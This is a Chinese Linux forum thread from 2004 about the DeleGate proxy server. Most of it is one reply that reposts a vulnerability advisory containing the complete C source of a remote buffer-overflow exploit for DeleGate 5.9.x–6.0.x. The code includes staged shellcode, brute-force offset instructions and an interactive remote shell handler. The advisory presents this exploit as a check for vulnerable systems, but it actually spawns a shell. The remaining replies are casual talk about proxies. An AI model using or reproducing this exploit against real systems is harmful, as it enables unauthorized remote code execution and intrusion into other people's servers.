LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
12
返回列表 发新帖
楼主: aries1998

不推荐这个代理服务器对不住良心啊,太....强.....了......啊........

[复制链接]
发表于 2004-9-23 08:16:17 | 显示全部楼层

有安全问题

DeleGate存在远程缓冲溢出漏洞

受影响的版本:
DeleGate/5.9.7或更在的版本
DeleGate/6.0.1 (最新版本)
远程:YES:本地:UNKOWN
DeleGate通常是一个应用级的网关,也可用作为多用户 proxy.但在该产品中存在一个安全问题,将允许远程的入侵者执行任意代码.
以下代码将检测您的系统是否存在该安全漏洞:/* delefate.c
* delegate 5.9.x - 6.0.x remote exploit
*
* public
*
* will open a shell with the privileges of the nobody user.
*
* 1999/13/11 by scut of teso [http://teso.scene.at/]
*
* word to whole team teso, ADM, w00w00, beavuh and stealth .
* special thanks to xdr for donating a bit of his elite debugging skillz.
*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>


#define XP_OFFSET 0xbfffe074 /* offset */
unsigned long int xp_off = XP_OFFSET;

/* you don't have to modify this i hope
*/
#define XP_NETWORK_FD 12
#define XP_NETWORK_OFFSET 0x00000101 /* fixed relative network socket offset */
#define XP_SHELLCODE_OFFSET 0x00000104 /* fixed relative retaddr offset */
#define XP_DIFF 0x0000000e /* 14 bytes after XP_OFFSET starts the shellcode */

#define XP_SH2_FD1 0x00000011
#define XP_SH2_FD2 0x0000001d
#define XP_SH2_FD3 0x0000002a


#define GREEN "\E[32m"
#define BOLD "\E[1m"
#define NORMAL "\E[m"
#define RED "\E[31m"

/* local functions
*/
void usage (void);
void shell (int socket);
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
                     unsigned short int port, int sec);


                     /* because the buffer is rather small (256 bytes), we use a minimalistic
                     * read() shellcode to increase the chances to hit a correct offet
*/
unsigned char shellcode1[] =
"\x77\x68\x6f\x69\x73\x3a\x2f\x2f\x61\x20\x62\x20\x31\x20\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"

/* 30 byte read() shellcode by scut */
"\x33\xd2\x33\xc0\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x80\xc2"
"\x10\x03\xca\xc1\xc2\x04\xb0\x03\x33\xdb\xb3\x0c\xcd\x80"
/*     ^^ network fd */
"\x82\xe0\xff\xbf" /* return address */

"\x0d\x0a";


/* uid+chroot-break+shell shellcode by lamerz, thanks !
* slightly modified by scut to take care of the network socket
*/
unsigned char shellcode2[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb\x89\xd9"
"\xb3\x0c\xb0\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\xb0"
"\x3f\xcd\x80\x31\xc0\x31\xdb\x89\xd9\xb3\x0c\x41\x41\xb0\x3f\xcd"
"\x80\x31\xc0\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e"
"\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d"
"\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c"
"\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d"
"\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46\x07"
"\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b"
"\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30"
"\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67";


void
usage (void)
{
  printf (GREEN BOLD "delefate - delegate 5.9.x, 6.0.x remote" NORMAL "\n"
    "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n"
   
    "usage.... : ./delefate <host> <port> [offset-add]\n"
    "example.. : ./delefate localhost 8080 -100\n\n"
    "for brute forcing, try from -2000 to 500 in steps of 200\n\n");
  
  exit (EXIT_FAILURE);
}

int
main (int argc, char **argv)
{
  int socket;
  char *server;
  struct sockaddr_in sa;
  unsigned short int port_dest;
  unsigned char *retaddr_ptr;
  unsigned long int offset;
  unsigned char *stack = NULL;
  
  if (argc < 3)
    usage ();
  
  printf (GREEN BOLD "delefate 5.9.x - 6.0.x remote exploit" NORMAL "\n"
    "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n");
  
  if (argc == 4) {
    long int xp_add = 0;
   
    if (sscanf (argv[3], "%ld", &xp_add) != 1) {
      usage ();
    }
    xp_off += xp_add;
  }
  printf (" " GREEN "-" NORMAL " using offset 0x%08x\n", xp_off);
  
  server = argv[1];
  port_dest = atoi (argv[2]);
  
  /* do the offset
*/
  retaddr_ptr = shellcode1 + XP_SHELLCODE_OFFSET;
  offset = xp_off + XP_DIFF;
  *retaddr_ptr = (offset & 0x000000ff) >>  0;
  *(retaddr_ptr + 1) = (offset & 0x0000ff00) >>  8;
  *(retaddr_ptr + 2) = (offset & 0x00ff0000) >> 16;
  *(retaddr_ptr + 3) = (offset & 0xff000000) >> 24;
  *(shellcode1 + XP_NETWORK_OFFSET) = (unsigned char) XP_NETWORK_FD;
  *(shellcode2 + XP_SH2_FD1) = (unsigned char) XP_NETWORK_FD;
  *(shellcode2 + XP_SH2_FD2) = (unsigned char) XP_NETWORK_FD;
  *(shellcode2 + XP_SH2_FD3) = (unsigned char) XP_NETWORK_FD;
  
  printf (" " GREEN "-" NORMAL " connecting to " GREEN "%s:%hu" NORMAL "...", server, port_dest);
  fflush (stdout);
  
  socket = net_connect (&sa, server, port_dest, 45);
  if (socket <= 0) {
    printf (" " RED BOLD "failed" NORMAL ".\n");
    perror ("net_connect");
    exit (EXIT_FAILURE);
  }
  printf (" " GREEN BOLD "connected." NORMAL "\n");
  
  /* send minimalistic read() shellcode */
  printf (" " GREEN "-" NORMAL " sending first shellcode...\n");
  write (socket, shellcode1, strlen (shellcode1));
  sleep (1);
  
  /* now send the real shellcode :-) */
  printf (" " GREEN "-" NORMAL " sending second shellcode...\n");
  write (socket, shellcode2, strlen (shellcode2));
  
  printf (" " GREEN "-" NORMAL " spawning shell...\n\n");
  shell (socket);
  close (socket);
  
  
  exit (EXIT_SUCCESS);
}

unsigned long int
net_resolve (char *host)
{
  long i;
  struct hostent *he;
  
  i = inet_addr (host);
  if (i == -1) {
    he = gethostbyname (host);
    if (he == NULL) {
      return (0);
    } else {
      return (*(unsigned long *) he->h_addr);
    }
  }
  
  return (i);
}


/* original version by typo, modified by scut
*/

void
shell (int socket)
{
  char io_buf[1024];
  int n;
  fd_set fds;
  
  while (1) {
    FD_SET (0, &fds);
    FD_SET (socket, &fds);
   
    select (socket + 1, &fds, NULL, NULL, NULL);
    if (FD_ISSET (0, &fds)) {
      n = read (0, io_buf, sizeof (io_buf));
      if (n <= 0)
        return;
      write (socket, io_buf, n);
    }
   
    if (FD_ISSET (socket, &fds)) {
      n = read (socket, io_buf, sizeof (io_buf));
      if (n <= 0)
        return;
      write (1, io_buf, n);
    }
  }
}


int
net_connect (struct sockaddr_in *cs, char *server,
             unsigned short int port, int sec)
{
  int n, len, error, flags;
  int fd;
  struct timeval tv;
  fd_set rset, wset;
  
  /* first allocate a socket */
  cs->sin_family = AF_INET;
  cs->sin_port = htons (port);
  fd = socket (cs->sin_family, SOCK_STREAM, 0);
  if (fd == -1)
    return (-1);
  
  cs->sin_addr.s_addr = net_resolve (server);
  if (cs->sin_addr.s_addr == 0) {
    close (fd);
    return (-1);
  }
  
  flags = fcntl (fd, F_GETFL, 0);
  if (flags == -1) {
    close (fd);
    return (-1);
  }
  n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
  if (n == -1) {
    close (fd);
    return (-1);
  }
  
  error = 0;
  
  n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
  if (n < 0) {
    if (errno != EINPROGRESS) {
      close (fd);
      return (-1);
    }
  }
  if (n == 0)
    goto done;
  
  FD_ZERO(&rset);
  FD_ZERO(&wset);
  FD_SET(fd, &rset);
  FD_SET(fd, &wset);
  tv.tv_sec = sec;
  tv.tv_usec = 0;
  
  n = select(fd + 1, &rset, &wset, NULL, &tv);
  if (n == 0) {
    close(fd);
    errno = ETIMEDOUT;
    return (-1);
  }
  if (n == -1)
    return (-1);
  
  if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
    if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
      len = sizeof(error);
      if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
        errno = ETIMEDOUT;
        return (-1);
      }
      if (error == 0) {
        goto done;
      } else {
        errno = error;
        return (-1);
      }
    }
  } else
    return (-1);
  
done:
  n = fcntl(fd, F_SETFL, flags);
  if (n == -1)
    return (-1);
  
  return (fd);
}

解决方案:
暂无

本文出自MudfrogTechnology,如有转载请标明出处.Allright Reserved By Mudfrog Technology
发表于 2004-9-23 09:47:00 | 显示全部楼层
呵呵。。。还是试试SQUID。。什么原因DUMP?
发表于 2004-9-23 11:00:59 | 显示全部楼层
delegated还有M$的版本吧。
没有用过,不像楼主说的那么强吧?
发表于 2004-9-23 11:34:07 | 显示全部楼层
楼主宿舍也是不能用 Linux 直接上网个?
发表于 2004-9-23 17:21:44 | 显示全部楼层

sock5代理大家怎么搞定?

outelook foxmail等都要SOCK代理,
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表